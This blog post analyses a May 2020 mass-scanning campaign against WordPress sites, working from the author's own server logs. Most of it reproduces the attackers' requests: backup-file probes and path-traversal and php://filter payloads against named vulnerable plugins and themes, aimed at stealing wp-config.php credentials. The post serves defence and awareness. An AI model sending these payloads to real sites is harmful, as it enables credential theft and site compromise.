Yesterday WordFence published a scary article titled "Large Scale Attack Campaign Targets Database Credentials". Article describes a recent mass-scanning attack of WordPress sites. The purpose of the attack was stealing WordPress configuration files - and therefore usernames/passwords of WordPress admins.
As with the XSS campaigns, almost all of the attacks are targeted at older vulnerabilities in outdated plugins or themes that allow files to be downloaded or exported. In this case the attackers are attempting to download wp-config.php, a file critical to all WordPress installations which contains database credentials and connection information, in addition to authentication unique keys and salts.
Since WordFence is in the business of selling "the best WordPress security", they have little intention to explain how these attacks really work.
Instead, they blatantly advertise their product as a remedy for everything:
All Wordfence users, including sites running the free version of Wordfence, and Wordfence Premium, are protected against these attacks.
That's really not helpful, so let me fix that. 🙂
Look at the logs
I started by downloading logs from my web server and checking them for the string wp-config.php, like the article suggests. There was not a single error code 200 which would indicate successful exploitation. Lucky me!
However, these types of attacks are not new. There were several attacks in February and April and 3 attacks in May alone. In last 6 months, there have been 1598 attempts using 623 different URIs. That's a lot of data to process and it's quite repetitive, so I'll cover just the latest attack.
Attack on 29-May-2020
322 requests came from a single IP address 149.202.10.144 between 16:59 and 17:01 GMT+2. Apparently, attackers don't give a crap about being stealthy and flying under the radar. Server is located in Poland, hosted by OVH and was most likely hacked.
On 30-May-2020, the same attack was repeated from IP address 202.143.111.220 - server hosted in Vietnam, again most likely hacked.
Initial recon
In this phase attackers fetch main page of the blog and try to download backup files from well-known URIs. First request has user-agent "Go-http-client/1.1", all the rest have user-agent "Mozilla". Yes, just "Mozilla".
For each file name, they try 5 extensions: .zip, .gz, .tar.gz, .rar and .gzip:
GET / GET /.well-known.zip GET /.well-known.gz GET /.well-known.tar.gz GET /.well-known.rar GET /.well-known.gzip
I left just one entry for all remaining file names to keep it brief:
GET /InCreate-FullPackage.zip GET /OMC_template.zip GET /archive.zip GET /dump.zip GET /backup.zip GET /backups.zip GET /cgi-bin.zip GET /installer.zip GET /master.zip GET /public_html.zip GET /quick_install_archive.zip GET /rt18_archive.zip GET /wordpress.zip GET /wp.zip GET /veggiedog.zip GET /data.zip GET /old.zip GET /web.zip GET /new.zip GET /cms.zip GET /db.zip GET /app.zip GET /lifewithouthealthinsurance.com.zip GET /lifewithouthealthinsurance.zip
I have no idea what "lifewithouthealthinsurance.com.zip" does here. Perhaps attack script f*cked up my domain name during the attack? 🙂
Testing your specific WordPress theme
Next stage of attack uses name of your WordPress theme and tries to find a vulnerable download script within the theme. Attackers try 2 variations each time - one with the filename, other using php://filter/read. I left just one of the variations for brevity.
GET /wp-content/themes/fruitful/force-download.php?file=../../../wp-config.php GET /wp-content/themes/fruitful/force-download.php?file=php://filter/read=convert.base64-encode/resource=../../../wp-config.php GET /wp-content/themes/fruitful/lib/downloadlink.php?file=../../../../wp-config.php GET /wp-content/themes/fruitful/download.php?file=../../../wp-config.php GET /wp-content/themes/fruitful/download.php?filename=../../../wp-config.php GET /wp-content/themes/fruitful/download.php?download_file=../../../wp-config.php GET /wp-content/themes/fruitful/download_file.php?file=../../../wp-config.php GET /wp-content/themes/fruitful/dnloadcontrol.php?file=../../../wp-config.php GET /force-download.php?file=wp-config.php GET /lib/downloadlink.php?file=wp-config.php GET /download.php?file=wp-config.php GET /download.php?filename=wp-config.php GET /download.php?download_file=wp-config.php GET /download_file.php?file=wp-config.php GET /dnloadcontrol.php?file=wp-config.php GET /wp-content/force-download.php?file=../wp-config.php
User-agent is still "Mozilla".
Backups of wp-config.php
Then attackers try to find backup copies of wp-config.php and log files with sensitive information. These and following attacks alternate between user-agent "Mozilla" and outdated version of Chrome: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.59 Safari/537.36"
GET /%23wp-config.php%23 GET /wp-config.php~ GET /wp-config.php?aam-media=1 GET /wp-content/uploads/file-manager/log.txt GET /.env GET /.wp-config.php.swp GET /?action=cpis_init&cpis-action=f-download&purchase_id=1&cpis_user_email=i0SECLAB@intermal.com&f=../../../../wp-config.php GET /?wpv-image=../wp-config.php GET /_wpeprivate/config.json GET /web.config GET /wp-config-backup.txt GET /wp-config.bak GET /wp-config.inc GET /wp-config.old GET /wp-config.orig GET /wp-config.original GET /wp-config.php.1 GET /wp-config.php.bak GET /wp-config.php.old GET /wp-config.php.orig GET /wp-config.php.original GET /wp-config.php.save GET /wp-config.php.save.1 GET /wp-config.php.swo GET /wp-config.php.swp GET /wp-config.php1 GET /wp-config.php?aam-media=2 GET /wp-config.php_bak GET /wp-config.php_bak/wp-config.php-bak GET /wp-config.save GET /wp-config.swp GET /wp-config.tar GET /wp-config.txt GET /wp-config.xml GET /wp-config.zip GET /wp-content/cache/log/000000/dbcache.log GET /wp-content/cache/log/000000/minify.log GET /wp-content/cache/log/000000/pagecache.log GET /wp-content/cache/log/000000/varnish.log GET /wp-content/uploads/wp-config-backup.txt
Misconfigured scripts in wp-admin folder
Next come attempts to locate buggy scripts in wp-admin folder. There are 2 requests for each vulnerability, one with the filename, other with php://filter/read:
GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=php://filter/read=convert.base64-encode/resource=../wp-config.php GET /wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php GET /wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php GET /wp-admin/edit.php?post_type=wd_ads_ads&export=export_csv&path=../wp-config.php
Vulnerable WordPress plugins
Just like earlier - 2 entries for each, one with the filename, other with php://filter/read:
GET /wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../wp-config.php GET /wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=php://filter/read=convert.base64-encode/resource=../../../../../wp-config.php GET /wp-content/plugins//hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10 GET /wp-content/plugins/advanced-uploader/upload.php?destinations=../../../../../../../../../wp-config.php%00 GET /wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php GET /wp-content/plugins/cip4-folder-download-widget/cip4-download.php?target=wp-config.php&info=wp-config.php GET /wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php GET /wp-content/plugins/google-mp3-audio-player/direct_download.php?file=../../../wp-config.php GET /wp-content/plugins/history-collection/download.php?var=php://filter/read=convert.base64-encode/resource=../../../wp-config.php GET /wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php/wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10 GET /wp-content/plugins/paypal-currency-converter-basic-for-woocommerce/proxy.php?requrl=../../../../wp-config.php GET /wp-content/plugins/photocart-link/decode.php?id=Li4vLi4vLi4vd3AtY29uZmlnLnBocA== GET /wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php GET /wp-content/plugins/sam-pro-free/sam-pro-ajax-admin.php?action=NA&wap=Li4vLi4vLi4vd3AtY29uZmlnLnBocA== GET /wp-content/plugins/sf-booking/lib/downloads.php?file=$site/wp-config.php GET /wp-content/plugins/sf-booking/lib/downloads.php?file=/wp-config.php GET /wp-content/plugins/thecartpress/modules/Miranda.class.php?page=../../../../../../../../wp-config.php%00 GET /wp-content/plugins/wp-custom-pages/wp-download.php?download=../../../wp-config.php GET /wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../wp-config.php GET /wp-content/plugins/wp-hide-security-enhancer/router/file-process.php?action=style-clean&file_path=/wp-config.php GET /wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php GET /wp-content/plugins/ebook-downloader/ebook_plugin.php?file=../../../../wp-config.php GET /wp-content/plugins/download-shortcode/inc/force-download.php?file=../../../../wp-config.php
Vulnerable WordPress themes
And last but not least - trying to exploit vulnerable WordPress themes. 2 variations again:
GET /wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php GET /wp-content/themes/MichaelCanthony/download.php?file=php://filter/read=convert.base64-encode/resource=../../../wp-config.php GET /wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php GET /wp-content/themes/SMWF/inc/download.php?file=../../../../wp-config.php GET /wp-content/themes/TheLoft/download.php?file=../../../wp-config.php GET /wp-content/themes/acento/includes/view-pdf.php?download=1&file=../../../../wp-config.php GET /wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php GET /wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php GET /wp-content/themes/cafesalivation/download.php?filename=../../../wp-config.php GET /wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php GET /wp-content/themes/endlesshorizon/download.php?file=../../../wp-config.php GET /wp-content/themes/epic/includes/download.php?file=wp-config.php GET /wp-content/themes/estrutura-basica/scripts/download.php?arquivo=../../wp-config.php GET /wp-content/themes/felis/download.php?file=../../../wp-config.php GET /wp-content/themes/green_farming_new/download.php?download_file=../../../wp-config.php GET /wp-content/themes/kap/download.php?url=..%2Fwp-config.php/wp-content/themes/duena/download.php?f=../wp-config.php GET /wp-content/themes/kap/download.php?url=../../../wp-config.php GET /wp-content/themes/liberator/inc/php/download.php?download_file=../../../../../wp-config.php GET /wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php GET /wp-content/themes/lote27/download.php?download=../../../wp-config.php GET /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php GET /wp-content/themes/markant/download.php?file=../../../wp-config.php GET /wp-content/themes/nishizawa_tmp/force-download.php?file=../../../wp-config.php GET /wp-content/themes/oxygen-theme/download.php?file=../../../wp-config.php GET /wp-content/themes/rowe/download/download.php?download_file=../../../wp-config.php GET /wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php GET /wp-content/themes/twentyeleven/download.php?file=%2Fwp-config.php GET /wp-content/themes/twentyeleven/download.php?file=../../../wp-config.php GET /wp-content/themes/twentyeleven/download.php?filename=../../../../../wp-config.php GET /wp-content/themes/u_parts/force-download.php?file=../../../wp-config.php GET /wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php GET /wp-content/themes/urbancity/lib/scripts/download.php?file=wp-config.php GET /wp-content/themes/yakimabait/download.php?file=../../../wp-config.php GET /wp-e-commerce/wpsc-includes/misc.functions.php?image_name=../../wp-config.php
Conclusion
Here you have it, not only "WHAT" is happening during this attack but also "HOW" it's done.
Based on my quick Google results, none of these exploits are new or innovative. But someone has spent a lot of time to put it all together in one tool and use it for mass scanning. Considering that WordPress is the world's most popular CMS with 35%+ market share, such mass scan will probably find a lot of holes in poorly maintained websites.
So, please make sure your WordPress is up-to-date!
Stay safe! 🙂
Very nice analysis.
Thanks for all the details that "the best WP security" thinks we need not to know, just trusting them 🙂
Lesson learnt? I shall not save my backup files in common locations and/or with too common/expected extensions 🙂
Best Regards,
Tony
@Tonyweb, that's a very good point. 🙂
There was a nice research about the topic 2 years ago: Database Dumps and the Alexa Top 1 Million. I guess not much has changed since then.
@kao, thank for the link. Anyway, if I would manage a p*rn site, I'm sure I would have used a more "fancy" name for the db dump 😉
Best Regards,
Tony
Really well written. Thanks 🙂
Im a CyberSec enthusiast so this one really interested me.
Some noticed: the IP from Vietnam pointed to a datacenter of a big company. No idea how can they be so careless and be hacked.
It's not the fault of the hosting company. They cannot be responsible for bad security practices of their clients.